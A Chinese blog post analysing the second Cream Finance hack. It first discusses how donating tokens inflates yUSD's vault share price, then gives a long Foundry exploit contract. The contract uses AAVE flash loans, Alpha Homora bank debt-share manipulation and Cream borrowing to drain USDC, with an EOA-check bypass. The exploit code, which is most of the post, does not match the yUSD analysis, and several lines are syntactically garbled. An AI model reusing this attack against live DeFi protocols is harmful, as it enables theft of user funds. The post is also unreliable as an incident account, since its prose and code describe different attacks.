本文作者:bixia1994[1]
独乐乐,不如众乐乐。下面是我自己重现 CREAM 的第二次经典 HACK 的分析思路,以及 POC。其实我觉得锅应该 yEarn 来背。毕竟是 yEarn 与 Cream 合作的。
https://rekt.news/cream-rekt-2/
看起来像是 cryUSD 合约对 yUSD 的定价问题。yUSD 是 Curve 里面的三币池啊,针对 yUSD 的定价是根据 D 来确定的。是很难操纵的啊。cryUSD -> yUSD -> yDAI+yUSDC+yUSDT 这里需要查看的是 Cream 里面怎么对于 yUSD 进行定价
function getUnderlyingPrice(CToken cToken) public view returns (uint256) {
...
if (yvTokens[underlying].isYvToken) { //0x4b5bfd52124784745c1071dcb244c6688d2533d3 is YvTokens
return getYvTokenPrice(underlying);
}
...
}
function getYvTokenPrice(address token) internal view returns (uint256) {
YvTokenInfo memory yvTokenInfo = yvTokens[token];
require(yvTokenInfo.isYvToken, "not a Yvault token");
uint256 pricePerShare;
address underlying;
if (yvTokenInfo.version == YvTokenVersion.V1) {
pricePerShare = YVaultV1Interface(token).getPricePerFullShare();
underlying = YVaultV1Interface(token).token();
} else {
pricePerShare = YVaultV2Interface(token).pricePerShare(); //self._shareVaule();
underlying = YVaultV2Interface(token).token();
}
uint256 underlyingPrice;
if (crvTokens[underlying].isCrvToken) {
underlyingPrice = getCrvTokenPrice(underlying);
} else {
underlyingPrice = getTokenPrice(underlying); //enter here, price set by admin
}
return mul_(underlyingPrice, Exp({mantissa: pricePerShare}));
}
function getTokenPrice(address token) internal view returns (uint256) {
if (token == wethAddress) {
// weth always worth 1
return 1e18;
}
AggregatorInfo memory aggregatorInfo = aggregators[token];
if (aggregatorInfo.isUsed) {
uint256 price = getPriceFromChainlink(aggregatorInfo.base, aggregatorInfo.quote);
if (aggregatorInfo.quote == Denominations.USD) {
// Convert the price to ETH based if it's USD based.
price = mul_(price, Exp({mantissa: getUsdcEthPrice()}));
}
uint256 underlyingDecimals = EIP20Interface(token).decimals();
return mul_(price, 10**(18 - underlyingDecimals));
}
return getPriceFromV1(token); //enter here
}
通过查看 yUSD 的_shareVaule 函数,其核心公式是:vaule = 10 _ precisionFactor _ freeFunds / totalSupply / preceisionFactor; 这里的 freeFunds 是可以操纵的。freeFunds = token.balanceOf() + totalDebt 最简单的方式是直接捐赠大量的 yCrv 给到这个池子里,从而增加 freeFunds 的数量。或者 deposit, 注意 deposit 时,deposit 有一个上限值,deposit limit,不能超过 limit - totalAssests 的值。deposit 会增加 freeFunds,同时也会增加 totalSupply,基本上是等比例的。
所以要增大 shareVaule,应该只是捐赠 token 即可。
@view
@internal
def _shareValue(shares: uint256) -> uint256:
...
lockedFundsRatio: uint256 = (block.timestamp - self.lastReport) * self.lockedProfitDegration
freeFunds: uint256 = self._totalAssets()
precisionFactor: uint256 = self.precisionFactor
if(lockedFundsRatio < DEGREDATION_COEFFICIENT):
freeFunds -= (
self.lockedProfit
- (
precisionFactor
* lockedFundsRatio
* self.lockedProfit
/ DEGREDATION_COEFFICIENT
/ precisionFactor
)
)
return (
precisionFactor
* shares
* freeFunds
/ self.totalSupply
/ precisionFactor
)
@view
@internal
def _totalAssets() -> uint256:
# See note on `totalAssets()`.
return self.token.balanceOf(self) + self.totalDebt # 0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8 token curve yPool
整理一下:
POC 的核心是:donate yUSD 增加 yUSD 的价格;mint 大量的 yUSD 作为抵押物,从而可以借走其他资产。关键点是如何去持有大量的 yUSD?拿着大量的 yUSD 去 mint into cryUSD,然后用 inflated price 来借贷出更多的其他 token。
谁持有大量的 yUSD 呢?或者谁持有大量的 yCrv?这道题最难的就是工程化,如何工程化的写出利润最大话的代码 DUSD 的 token 可以 redeem 成 yUSD。通过 DUSD 的合约来实现。
需要闪电贷 DAI,闪电贷 ETH,最好成本都可控;DAI -> Maker, flashMint ETH -> AAVE 52W ETH
需要值得注意的事情:
pragma solidity 0.8.12;
import "ds-test/test.sol";
import "forge-std/stdlib.sol";
import "forge-std/Vm.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract AlphaAddr is DSTest, stdCheats {
Vm public vm = Vm(HEVM_ADDRESS);
address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public constant crySUSD = 0x4e3a36A633f63aee0aB57b5054EC78867CB3C0b8;
address public constant cryUSDC = 0x76Eb2FE28b36B3ee97F3Adae0C69606eeDB2A37c;
address public constant sUSD = 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51;
address public constant SUSD_WETH = 0xf80758aB42C3B07dA84053Fd88804bCB6BAA4b5c; //sUSD = 0
address public constant UNI_WETH = 0xd3d2E2692501A5c9Ca623199D38826e513033a17; //UNI = 0
address public constant UNI = 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984;
address public constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address public constant unitroller = 0xAB1c342C7bf5Ec5F02ADEA1c2270670bCa144CbB; //comptorller
address public constant proxy = 0x5f5Cd91070960D13ee549C9CC47e7a4Cd00457bb;
address public constant coll = 0xe28D9dF7718b0b5Ba69E01073fE82254a9eD2F98; //collateral
address public constant aave = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9;
address public constant curve = 0xA5407eAE9Ba41422680e2e00537571bcC53efBfD; //sUSD = 3, USDC = 1
address public constant aUSD = 0xBcca60bB61934080951369a648Fb03DF4F96263C;
}
interface aTokenLike {
}
interface ComptrollerLike {
function enterMarkets(address[] memory) external returns (uint[] memory);
function markets(address) external returns (bool,uint);
}
interface ERC20Like {
function balanceOf(address _owner) external view returns (uint256);
function transfer(address _to, uint256 _value) external;
function approve(address,uint) external;
function mint() external payable;
function withdraw(uint) external;
}
interface CollLike {
function mint(address token, uint amount) external ;
function burn(address token, uint amount) external ;
function balanceOf(address, uint) external view returns (uint);
function safeTransferFrom(address, address, uint, uint,bytes memory) external;
function setApprovalForAll(address, bool) external;
}
interface HomoBankLike {
function execute(
uint positionId,
address spell,
bytes memory data
) external returns (uint);
function borrow(address token, uint amount) external;
function repay(address token, uint amountCall) external;
function putCollateral(
address collToken,
uint collId,
uint amountCall
) external ;
function takeCollateral(
address collToken,
uint collId,
uint amount
) external ;
function borrowBalanceCurrent(uint positionId, address token) external view returns (uint);
function borrowBalanceStored(uint positionId, address token) external view returns (uint);
function accrue(address token) external;
function banks(address) external view returns (bool, uint8, address, uint, uint, uint,uint);
function getBankInfo(address) external view returns (bool, address, uint, uint, uint);
function resolveReserve(address token) external;
function getPositionDebtShareOf(uint, address) external returns (uint);
}
interface cTokenLike {
function mint(uint) external returns(uint);
function borrow(uint) external returns(uint);
function getCash() external view returns (uint);
}
interface AAVELike {
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external;
}
interface CurveLike {
function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external;
}
interface PairLike is ERC20Like{
function getReserves()
external
view
returns (
uint112 _reserve0,
uint112 _reserve1,
uint32 _blockTimestampLast
);
function mint(address to) external returns (uint256 liquidity);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes memory data
) external;
}
contract Calculator {
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn * 997;
uint numerator = amountInWithFee * reserveOut;
uint denominator = reserveIn * 1000 + amountInWithFee;
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn * amountOut * 1000;
uint denominator = (reserveOut - amountOut) * 997;
amountIn = (numerator / denominator + 1);
}
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA * reserveB / reserveA;
}
///solve the equation
/// y = 997*x*r0 / (r1*1000+997*x)
/// y / (r0 - y) = (z - x) / (r1 + x)
/// solve Y => 3次方的方程,不是很好解 => z = 1.997 * x + 0.997 / r1 * x^2 => z = 1.997 * x
}
contract Helper is AlphaAddr, Calculator {
address public immutable owner;
uint public COLL_ID = uint256(uint160(UNI_WETH));
uint public POSITION_ID;
uint public COLL_AMOUNT;
constructor() {
owner = msg.sender;
CollLike(coll).setApprovalForAll(proxy, true);
ERC20Like(UNI_WETH).approve(coll, type(uint256).max);
ERC20Like(USDC).approve(curve, type(uint256).max);
ERC20Like(sUSD).approve(curve, type(uint256).max);
ERC20Like(sUSD).approve(crySUSD, type(uint256).max);
ERC20Like(sUSD).approve(proxy, type(uint256).max);
}
///swap ETH for UNI, add liquidity for UNI_WETH, and mint coll with lp
function prepare() public payable {
ERC20Like(WETH).mint{value: address(this).balance}();
uint z = ERC20Like(WETH).balanceOf(address(this)) - 1 ether;
uint x = z * 1000 / 1997;
ERC20Like(WETH).transfer(UNI_WETH, x);
(uint r0, uint r1, ) = PairLike(UNI_WETH).getReserves();
uint y = Calculator.getAmountOut(x, r1, r0);
PairLike(UNI_WETH).swap(y, 0, address(this), "");
(r0, r1, ) = PairLike(UNI_WETH).getReserves();
uint quoteY = Calculator.quote(y, r0, r1);
uint quoteZ = Calculator.quote(z-x, r1, r0);
uint amountA;
uint amountB;
if (quoteY <= z - x) {
amountA = y;
amountB = quoteY;
} else {
amountA = quoteZ;
amountB = z - x;
}
ERC20Like(WETH).transfer(UNI_WETH, amountB);
ERC20Like(UNI).transfer(UNI_WETH, amountA);
uint lp = PairLike(UNI_WETH).mint(address(this));
CollLike(coll).mint(UNI_WETH, lp);
COLL_AMOUNT = CollLike(coll).balanceOf(address(this), COLL_ID);
///swap some sUSD for step2
(r0, r1,) = PairLike(SUSD_WETH).getReserves();
uint sUSDAmount = Calculator.getAmountOut(1 ether, r1, r0);
ERC20Like(WETH).transfer(SUSD_WETH, 1 ether);
PairLike(SUSD_WETH).swap(sUSDAmount, 0, address(this), "");
res("prepare");
}
/// borrow 1000 sUSD, deposit 1000 lp
function step1() public {
HomoBankLike(proxy).borrow(sUSD, 1000 ether);
HomoBankLike(proxy).putCollateral(coll, COLL_ID, COLL_AMOUNT);
}
function step2(uint positionId) public {
POSITION_ID = positionId;
HomoBankLike(proxy).accrue(sUSD);
uint repayAmount = HomoBankLike(proxy).borrowBalanceStored(positionId, sUSD);
HomoBankLike(proxy).repay(sUSD, repayAmount - 1);
(,,uint reserve, uint totalDebt, uint totalShare) = HomoBankLike(proxy).getBankInfo(sUSD);
require(totalDebt == 1, "totalDebt should be 1");
require(totalShare == 1, "totalShare should be 1");
}
function step3() public {
HomoBankLike(proxy).resolveReserve(sUSD);
(,,uint reserve, uint totalDebt, uint totalShare) = HomoBankLike(proxy).getBankInfo(sUSD);
require(totalShare == 1, "totalShare should be 1");
require(totalDebt > 0, "totalDebt should be greater than 0");
}
function step4() public {
uint i = 0;
while (true) {
i++;
(,,uint reserve, uint totalDebt, uint totalShare) = HomoBankLike(proxy).getBankInfo(sUSD);
try HomoBankLike(proxy).borrow(sUSD, totalDebt - 1) {
res("loop");
emit log_named_uint("success at ", i);
} catch {
emit log_named_uint("failed at ", i);
break;
}
}
}
/// step5: flashloan from AAVE, borrow USDC, swap USDC for sUSD at Curve, and deposit into CREAM crySUSD to increase liquidity for borrowing.
/// then continue to borrow sUSD again.
// function flashLoan(
// address receiverAddress,
// address[] calldata assets,
// uint256[] calldata amounts,
// uint256[] calldata modes,
// address onBehalfOf,
// bytes calldata params,
// uint16 referralCode
// ) external;
function step5(uint usdcAmountBorrowed) public {
address[] memory tokens = new address[](1 "] memory tokens = new address[");
uint256[] memory amounts = new uint256[](1 "] memory amounts = new uint256[");
uint256[] memory modes = new uint256[](1 "] memory modes = new uint256[");
tokens[0] = USDC;
amounts[0] = usdcAmountBorrowed;
// amounts[0] = ERC20Like(USDC).balanceOf(aUSD);
modes[0] = 0;
AAVELike(aave).flashLoan(
address(this),
tokens,
amounts,
modes,
address(this),
abi.encode(amounts[0]),
uint16(0)
);
res("step5");
ERC20Like(USDC).transfer(owner, ERC20Like(USDC).balanceOf(address(this)));
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) public returns (bool) {
uint amount = abi.decode(params, (uint));
ERC20Like(USDC).approve(aave, amount * 101 / 100);
///swap USDC for sUSD
CurveLike(curve).exchange(int128(1),int128(3),amount,0);
///mint sUSD into crySUSD
uint sUSDAmount = ERC20Like(sUSD).balanceOf(address(this));
uint resMint = cTokenLike(crySUSD).mint(sUSDAmount);
require(resMint == 0, "mint failed");
address[] memory tokens = new address[](2 "] memory tokens = new address[");
tokens[0] = crySUSD;
tokens[1] = cryUSDC;
uint[] memory resEnter = ComptrollerLike(unitroller).enterMarkets(tokens);
require(resEnter[0] == 0, "enter failed");
step4();
res("after step4");
(,uint collateralRatio) = ComptrollerLike(unitroller).markets(crySUSD);
uint cash = cTokenLike(cryUSDC).getCash();
uint maxBorrowAmount = sUSDAmount / 10**12 * collateralRatio / 10**18;
uint borrowAmount = maxBorrowAmount > cash ? cash : maxBorrowAmount;
uint resBorrow = cTokenLike(cryUSDC).borrow(borrowAmount);
require(resBorrow == 0, "borrow failed");
sUSDAmount = ERC20Like(sUSD).balanceOf(address(this));
CurveLike(curve).exchange(int128(3),int128(1),sUSDAmount,0);
emit log_named_uint("USDC balance", ERC20Like(USDC).balanceOf(address(this)));
return true;
}
function onERC1155Received(address,address,uint,uint,bytes memory) external view returns (bytes4) {
return this.onERC1155Received.selector;
}
function res(string memory str) public {
emit log_named_string("=======HELPER=======", str);
emit log_named_uint("USDC balance", ERC20Like(USDC).balanceOf(address(this)));
emit log_named_uint("sUSD balance", ERC20Like(sUSD).balanceOf(address(this)));
(,,uint reserve, uint totalDebt, uint totalShare) = HomoBankLike(proxy).getBankInfo(sUSD);
emit log_named_uint("totalDebt", totalDebt);
emit log_named_uint("totalShare", totalShare);
emit log_named_uint("debt share", HomoBankLike(proxy).getPositionDebtShareOf(POSITION_ID, sUSD));
}
}
contract Hack is AlphaAddr {
address public helper;
uint POSITION_ID;
constructor() {
helper = address(new Helper());
}
function start() public payable {
///
require(tx.origin == address(this), "bypass the only EOA check");
/// swap ETH for UNI, add liquidity for UNI_WETH, mint coll with lp
Helper(helper).prepare{value: msg.value }();
/// step1: execute: borrow sUSD, putCollateral into bank to bypass the coll>debt check
POSITION_ID = HomoBankLike(proxy).execute(0, helper, abi.encodeWithSelector(Helper.step1.selector));
/// step2: roll some blocks, repay amount
vm.roll(block.number + 300);
HomoBankLike(proxy).execute(POSITION_ID, helper, abi.encodeWithSelector(Helper.step2.selector, POSITION_ID));
/// steo3: resolveReserve to increase the total debt, while keep the total share unchanged
Helper(helper).step3();
/// step4: borrow sUSD again, to limit the borrow amount a little bit smaller than the totalDebt so that it can be trimed
HomoBankLike(proxy).execute(0, helper, abi.encodeWithSelector(Helper.step4.selector));
/// step5: flashloan from AAVE, borrow USDC, swap USDC for sUSD at Curve, and deposit into CREAM crySUSD to increase liquidity for borrowing.
/// then continue to borrow sUSD again.
HomoBankLike(proxy).execute(0, helper, abi.encodeWithSelector(Helper.step5.selector, 1_800_000e6));
res("after step5");
HomoBankLike(proxy).execute(0, helper, abi.encodeWithSelector(Helper.step5.selector, 10_000_000e6));
res("after step6");
// HomoBankLike(proxy).execute(0, helper, abi.encodeWithSelector(Helper.step5.selector, 10_000_000e6));
// res("after step7");
}
receive() external payable{}
function onERC1155Received(address,address,uint,uint,bytes memory) external view returns (bytes4){
return this.onERC1155Received.selector;
}
function res(string memory str) public {
emit log_named_string("=======HACKER=======", str);
emit log_named_uint("USDC balance", ERC20Like(USDC).balanceOf(address(this)));
}
}
contract FULL is AlphaAddr {
Hack public hack;
function setUp() public {
hack = new Hack();
}
function test_start() public {
vm.startPrank(address(hack), address(hack)); //to bypass the onlyEOA check
vm.deal(address(hack), 15 ether);
hack.start{value: 15 ether}();
vm.stopPrank();
}
}
[1]
bixia1994: https://learnblockchain.cn/people/3295